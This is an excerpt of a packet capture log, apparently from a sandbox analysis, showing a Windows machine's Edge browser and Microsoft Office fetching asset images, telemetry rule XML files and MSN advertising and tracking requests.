2024-11-28 10:05:38 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:38 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100538Z-174f784596886s2bhC1EWR743w0000000yd000000000186h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:38 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49891	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:38 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:38 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:38 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 915fc15d-601e-0011-4de1-405f1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100538Z-174f7845968kdththC1EWRzvxn0000000ar00000000010a8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:38 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:38 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100538Z-174f7845968glpgnhC1EWR7uec0000000ygg000000001mrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49896	108.139.47.108	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:38 UTC	1012	OUT	GET /b2?rn=1732794601278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E27FF0838006C7C38C4EA4D39726D3F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=103664f78d1f1c196b2cc191732788337; XID=103664f78d1f1c196b2cc191732788337
2024-11-28 10:05:39 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 28 Nov 2024 10:05:39 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 3d84bfab616d594edc9340870455ee6a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: Nqbw3XXkXxqHSw7cHSpB2HuyNXAt7NNZP6jrQTdk3QuQWFaMTMLXlQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:39 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 512a133a-001e-0066-4733-40561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100539Z-174f78459685726chC1EWRsnbg0000000yag0000000057c4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:40 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:39 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 0f0f185b-001e-0065-4a37-400b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100539Z-174f7845968pf68xhC1EWRr4h80000000yd000000000a3cp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:39 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:39 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 5dad9a26-101e-0079-2c66-405913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100539Z-174f7845968glpgnhC1EWR7uec0000000yf0000000003kmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49898	23.101.168.44	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:39 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3E27FF0838006C7C38C4EA4D39726D3F&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=d48adc3725994bb0a1f677b05fa9b0ee HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1
2024-11-28 10:05:39 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2808 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132627-T700343875-C128000000002114789+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114789+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 10:05:38 GMT Connection: close
2024-11-28 10:05:39 UTC	2808	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 45 6c 20 4a 61 64 69 64 61 2c 20 4d 6f 72 6f 63 63 6f 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 50 6f 72 74 75 67 75 65 73 65 2b 43 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"El Jadida, Morocco\",\"cta\":\"https:\/\/www.bing.com\/search?q=Portuguese+C

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:39 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100539Z-174f7845968nxc96hC1EWRspw80000000y20000000003bk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:40 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:40 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100540Z-174f7845968nxc96hC1EWRspw80000000y00000000005t03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:41 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:41 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100541Z-174f7845968swgbqhC1EWRmnb40000000ygg000000001k1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:41 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:41 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100541Z-174f7845968kvnqxhC1EWRmf3g0000000h2g0000000053mx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
